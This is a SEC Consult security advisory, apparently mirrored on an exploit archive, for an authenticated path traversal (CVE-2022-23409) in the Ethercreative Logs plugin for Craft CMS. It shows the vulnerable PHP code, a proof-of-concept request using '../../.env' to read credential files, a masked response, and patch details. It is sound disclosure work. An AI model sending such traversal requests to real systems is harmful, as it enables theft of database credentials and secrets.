Ethercreative Logs 3.0.3 Path Traversal

Authored by Steffen Rogge | Site sec-consult.com

Posted Jan 25, 2022

Ethercreative Logs plugin versions 3.0.3 and below for Craft CMS suffer from a path traversal vulnerability.

tags | exploit
advisories | CVE-2022-23409
SHA-256 | 87f572c315e9b125698a490498f1baf715e21bedd53fb3675102015ce8c2e3ba

Download | Favorite | View

Related Files

Share This

Like 0 Tweet LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
SEC Consult Vulnerability Lab Security Advisory < 20220124-0 >
=======================================================================
               title: Authenticated Path Traversal
             product: Ethercreative Logs plugin for Craft CMS
  vulnerable version: <=3.0.3
       fixed version: >=3.0.4
          CVE number: CVE-2022-23409
              impact: Medium
            homepage: https://github.com/ethercreative/logs
               found: 2021-07-06
                  by: Steffen Rogge (Office Berlin)
                      SEC Consult Vulnerability Lab

                      An integrated part of SEC Consult, an Atos company
                      Europe | Asia | North America

                      https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"A quick and dirty way to access your logs from inside the CP"
As found on the plugin store page: https://plugins.craftcms.com/logs

Active Installs 4,093 (as of 2021-07-07)


Business recommendation:
------------------------
The vendor provides a patched version v3.0.4 which should be installed immediately.


Vulnerability overview/description:
-----------------------------------
1) Authenticated Path Traversal (CVE-2022-23409)
The plugin "Logs" provides a functionality to read log files of the Craft CMS system inside
the backend of the CMS. As the requested logfile is not properly validated, an attacker is
able to request arbitrary files from the underlying file system with the permissions of the
web service user.


Proof of concept:
-----------------
1) Authenticated Path Traversal (CVE-2022-23409)
As the plugin is installed as an administrator of the system and the function is only accessible
after being logged in as an admin, an attacker needs to be authenticated as an administrator in
the backend in order to extract the needed "{MD5}_identity" cookie for the crafted request.

The vulnerable endpoint is provided by the plugin under the following path:
https://vulnerablesite.com/index.php/admin/actions/logs/logs/stream

The vulnerable controller for that endpoint can be found here:
https://github.com/ethercreative/logs/blob/master/src/Controller.php

The function "actionStream()" provides an endpoint for the Craft CMS and does not validate input
values before file content is being read by the function "file_get_contents".

public function actionStream ()
{
     $logsDir = \Craft::getAlias('@storage/logs');
     $logFile = \Craft::$app->request->getParam('log');
     $currentLog = \Craft::$app->request->get('log', $logFile);
     $log = file_get_contents($logsDir . '/' . $currentLog);

     exit($log);
}

A crafted GET parameter with the name "log" can be used to access files on the underlying filesystem
with rights as the user executing the web server. In most cases this will be the user "www-data".

In order to read the file ".env" or ".env.php" which contains the environment configuration and as
such also the database credentials, the following request can be used:
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

Top Authors In Last 30 Days

Red Hat 186 files
Ubuntu 52 files
Gentoo 44 files
Debian 27 files
Apple 25 files
Google Security Research 14 files
malvuln 10 files
nu11secur1ty 6 files
mjurczyk 4 files
George Tsimpidas 3 files

File Tags

ActiveX (932)
Advisory (79,557)
Arbitrary (15,643)
BBS (2,859)
Bypass (1,615)
CGI (1,015)
Code Execution (6,913)
Conference (672)
Cracker (840)
CSRF (3,288)
DoS (22,541)
Encryption (2,349)
Exploit (50,293)
File Inclusion (4,162)
File Upload (946)
Firewall (821)
Info Disclosure (2,656)

File Archives

November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
December 2021
Older

Systems

AIX (426)
Apple (1,926)

```
GET /admin/actions/logs/logs/stream?log=../../.env HTTP/1.1
Host: <host>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0
Connection: close
Cookie: 1031b8c41dfff97a311a7ac99863bdc5_identity=<identity_cookie>;

The response then discloses the file content of the file ".env":

HTTP/1.1 200 OK
Date: Thu, 07 Jul 2021 10:08:52 GMT
Server: nginx
Content-Type: text/html; charset=UTF-8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: CraftSessionId=2uisculfj8t9q1tnbiukl6ogjf; path=/; secure; HttpOnly
Content-Length: 1600
Connection: close

[...]
$craftEnvVars = [
     'DB_DRIVER' => 'mysql',
     'DB_SERVER' => '********',
     'DB_USER' => '********',
     'DB_PASSWORD' => '********',
     'DB_DATABASE' => '********',
     'DB_SCHEMA' => 'public',
     'DB_TABLE_PREFIX' => '',
     'DB_PORT' => '********',
     'SECURITY_KEY' => '********',
[...]


Vulnerable / tested versions:
-----------------------------
The following version has been tested which was the latest version available at the time
of the test:

* Version 3.0.3 released on November 25, 2019
   Distributed through the Craft Plugin Store https://plugins.craftcms.com/logs


Vendor contact timeline:
------------------------
2021-07-07: Contacting vendor through dev@ethercreative.co.uk
2021-07-08: Response from vendor, no encryption available but vendor accepted to be responsible
             for any risks involved with plaintext communication
2021-07-08: Advisory was sent to vendor unencrypted
2021-07-09: Vendor released a patch for this vulnerability with version 3.0.4
             (https://github.com/ethercreative/logs/commit/eb225cc78b1123a10ce2784790f232d71c2066c4)
2021-07-12: Updated Plugin has been tested on an up-to-date CraftCMS installation
             (CraftCMS 3.7.0, PHP 8, MySQL 8, Logs Plugin 3.0.4)
2022-01-24: Release of security advisory


Solution:
---------
The vendor released a patched version 3.0.4 or higher which can be retrieved from their
website/github:
https://plugins.craftcms.com/logs
https://github.com/ethercreative/logs/commit/eb225cc78b1123a10ce2784790f232d71c2066c4


Workaround:
-----------
Uninstall/Disable the plugin and access the Craft CMS logs via SSH or other services.


Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult, an Atos company
Europe | Asia | North America

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos company. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://sec-consult.com/career/

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF Steffen Rogge / @2022
```

Login or Register to add favorites

Intrusion Detection (866)
Java (2,888)
JavaScript (817)
Kernel (6,255)
Local (14,173)
Magazine (586)
Overflow (12,390)
Perl (1,417)
PHP (5,087)
Proof of Concept (2,290)
Protocol (3,426)
Python (1,449)
Remote (30,009)
Root (3,496)
Ruby (594)
Scanner (1,631)
Security Tool (7,768)
Shell (3,098)
Shellcode (1,204)
Sniffer (885)
Spoof (2,165)
SQL Injection (16,089)
TCP (2,377)
Trojan (685)
UDP (875)
Virus (661)
Vulnerability (31,104)
Web (9,329)
Whitepaper (3,728)
x86 (946)
XSS (17,478)
Other

BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,620)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,118)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,339)
Slackware (941)
Solaris (1,607)
SUSE (1,444)
Ubuntu (8,147)
UNIX (9,150)
UnixWare (185)
Windows (6,504)
Other